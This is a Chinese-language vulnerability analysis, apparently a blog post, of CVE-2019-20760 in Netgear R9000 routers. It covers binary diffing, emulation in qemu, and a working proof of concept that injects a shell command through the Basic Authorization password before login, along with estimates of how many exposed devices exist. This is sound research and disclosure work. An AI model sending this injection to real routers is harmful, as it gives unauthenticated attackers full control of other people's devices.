Netgear R9000设备2019年爆出认证绕过漏洞CVE-2019-20760,题目之所以说这个漏洞远被低估,主要以下两个原因:
POC
,但是经过分析,发现该漏洞其实是一个认证前的注入漏洞,攻击者只需要知道设备ip便可以获取设备的最高控制权;R7800
的1.0.2.62
版本;R7500
的1.0.3.46
版本等也受此漏洞影响,简单推测影响范围应该还有其它多款系列型号;R9000
数量大概有5000
台,R7800
大概有15000
台,而且还不算其它可能受影响的型号数量,而且由于官方信息只是说明为认证绕过漏洞,猜测也并没有引起广泛注意而更新固件。由于该漏洞公告只有大概信息,下文记录针对R9000
型号的该漏洞分析定位调试的过程。
根据漏洞公告信息,Netgear R9000设备1.0.4.26
版本前存在认证绕过漏洞,但是并没有详细说明漏洞点位置,尝试根据公告信息结合二进制比对查找漏洞点。
通过以下地址可以下载存在漏洞版本固件以及修复版本固件
两固件均通过binwalk
可常规解压获得文件系统
通过查找Referer
字符串来确定一下web
处理程序
$ grep -r "Referer"
Binary file usr/bin/curl matches
Binary file usr/sbin/wget matches
Binary file usr/sbin/uhttpd matches
Binary file usr/lib/libcurl.so.4.3.0 matches
Binary file bin/fbwifi matches
Binary file bin/ookla matches
Binary file iQoS/R9000/TM/data_colld matches
Binary file iQoS/R8900/TM/data_colld matches
通过命名即可判断web
处理的二进制应该是uhttpd
使用diaphora
来进行二进制比对操作。
diaphora
使用非常简单,首先使用IDA
打开漏洞版本1.04.26
版本文件系统中的uhttpd
,选择File--Script file...--diaphora.py
,在弹出框中点击OK
,然后再使用IDA
打开修复版本1.04.28
版本文件系统中的uhttpd
,同样方法打开diaphora
,在弹出框中的SQLite database to diff against
中选择1.04.26
版本的uhttpd
生成的sqlite
文件,再点击OK
即可开始比对,稍等片刻,便会出现比对结果。
可以查看Partial matches
,其中login_type
函数进入后除了命名没有太多改变,所以主要查看uh_cgi_auth_check
,选中这个函数后点击右键——Diff Pseudo-code
,可以在反编译代码的层面上查看差异点,左边是修复版本,右边是漏洞版本:
可以看出修复版本使用了dni_system
,而漏洞版本snprintf
后直接传入system
执行,猜测漏洞点位于此处。
尝试使用IDA
打开漏洞版本的uhttpd
的uh_cgi_auth_check
函数:
直观审计起来不是很好看,包括函数的参数是什么也都不太清楚,这里采用一个比较懒的方法,我尝试找到了对应的源码:
源码对应位置并没有相应的system
函数,猜测是官方故意做了一些隐藏,但是可以借由源码恢复出来很多结构信息。
具体操作可以参考cve-2018-5767 Tenda AC15 栈溢出漏洞调试比较简单,这里不再赘述。
在漏洞版本中,恢复完符号表以后可以清楚的看出,数据包头中的Authorization
中Basic
后数据经过base64
解码后,其中:
后边的password
参数会被传入snprintf
,然后调用system
来执行,造成漏洞。
前文已经说明,在修复版本中,没有直接调用system
,换成了dni_system
,查看一下dni_system
;
可以看出,dni_system
采用了execve
来执行命令,只有参数可控,是无法做到RCE
之类的危害的。
查看etc/init.d/uhttpd
cat ./etc/init.d/uhttpd ...... start() { #config_load uhttpd #config_foreach start_instance uhttpd #mkdir /tmp/www #cp -rf /usr/www/* /tmp/www /www/cgi-bin/uhttpd.sh start inetd detplc #for bug58012 touch /tmp/fwcheck_status } .....
可以看到启动uhttpd
使用了/www/cgi-bin/uhttpd.sh
这个脚本
查看这个脚本:
╰─$ cat ./www/cgi-bin/uhttpd.sh #!/bin/sh REALM=`/bin/cat /module_name | sed 's/\n//g'` UHTTPD_BIN="/usr/sbin/uhttpd" PX5G_BIN="/usr/sbin/px5g" uhttpd_stop() { kill -9 $(pidof uhttpd) } uhttpd_start() { $UHTTPD_BIN -h /www -r ${REALM} -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443 } case "$1" in stop) uhttpd_stop ;; start) uhttpd_start ;; restart) uhttpd_stop uhttpd_start ;; *) logger -- "usage: $0 start|stop|restart" ;; esac
其中-C /etc/uhttpd.crt -K /etc/uhttpd.key -s
我们都可以省略掉,忽略https
即可,REALM
参数可以直接获得:
$ cat ./module_name 130 ↵
R9000
然后即可获得uhttpd
的启动命令:
/usr/sbin/uhttpd -h /www -r R9000 -x /cgi-bin -t 70 -p 0.0.0.0:80
使用file
查看指令架构:
$ file ./bin/busybox
./bin/busybox: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, no section header
使用qemu-system
打开armhf
虚拟机,此步骤在IOT环境搭建–如何使用qemu运行各种指令架构程序中有详细步骤,此处不再赘述
将文件系统拷贝进armhf
虚拟机中,运行以下命令:
chroot . /usr/sbin/uhttpd -h /www -r R9000 -x /cgi-bin -t 70 -p 0.0.0.0:80
没有报错,查看端口情况:
$ netstat -antp | grep uhttpd tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 2425/uhttpd tcp6 0 0 :::80 :::* LISTEN 2425/uhttpd
可以看到80端口已经启动起来了,模拟成功
在浏览器中访问http://<device_ip>/cgi-bin/
,可以弹出登录框:
使用admin@admin账户登陆抓包如下:
GET /cgi-bin/ HTTP/1.1 Host: <your ip> Cache-Control: max-age=0 Authorization: Basic YWRtaW46YWRtaW4= Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7 Connection: close
尝试构造POC
,
$ echo 'admin:`touch /abcd`' | base64 YWRtaW46YHRvdWNoIC9hYmNkYAo=
构造数据包
GET /cgi-bin/ HTTP/1.1 Host: <Your IP> Cache-Control: max-age=0 Authorization: Basic YWRtaW46YHRvdWNoIC9hYmNkYAo= Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7 Connection: close
发送数据包后查看文件系统
root@debian-armhf:~/squashfs-root# ls abcd bin cloud_version default_language_version dev etc firmware_region firmware_time firmware_version hardware_version home hw_id iQoS lib mnt module_name overlay proc rom root sbin sys tmp usr var www
可以发现abcd
这个文件已经被创建,攻击成功。
本漏洞NVD
的评分是8.8
,然而对于这种认证前的RCE漏洞,个人认为评分是低了,知道设备的ip
信息,便可以获取该设备最高控制权,该漏洞危害性还是比较大的。而且在测试中,发现该漏洞影响的设备型号也并不止R9000
这一款。
IoT
漏洞分析中,认证流程分析是必不可少的一环,直接在认证过程中就将用户输入没有做任何校验直接传入system
,漏洞还是很明显也比较简单。
另外,通过二进制比对方法来找1day漏洞,也是一种比较简洁取巧的方法。
参考:
[1] CVE-2019-20760
[2] cve-2018-5767 Tenda AC15 栈溢出漏洞调试
[3] IOT环境搭建–如何使用qemu运行各种指令架构程序
[4] fofa网络资产测绘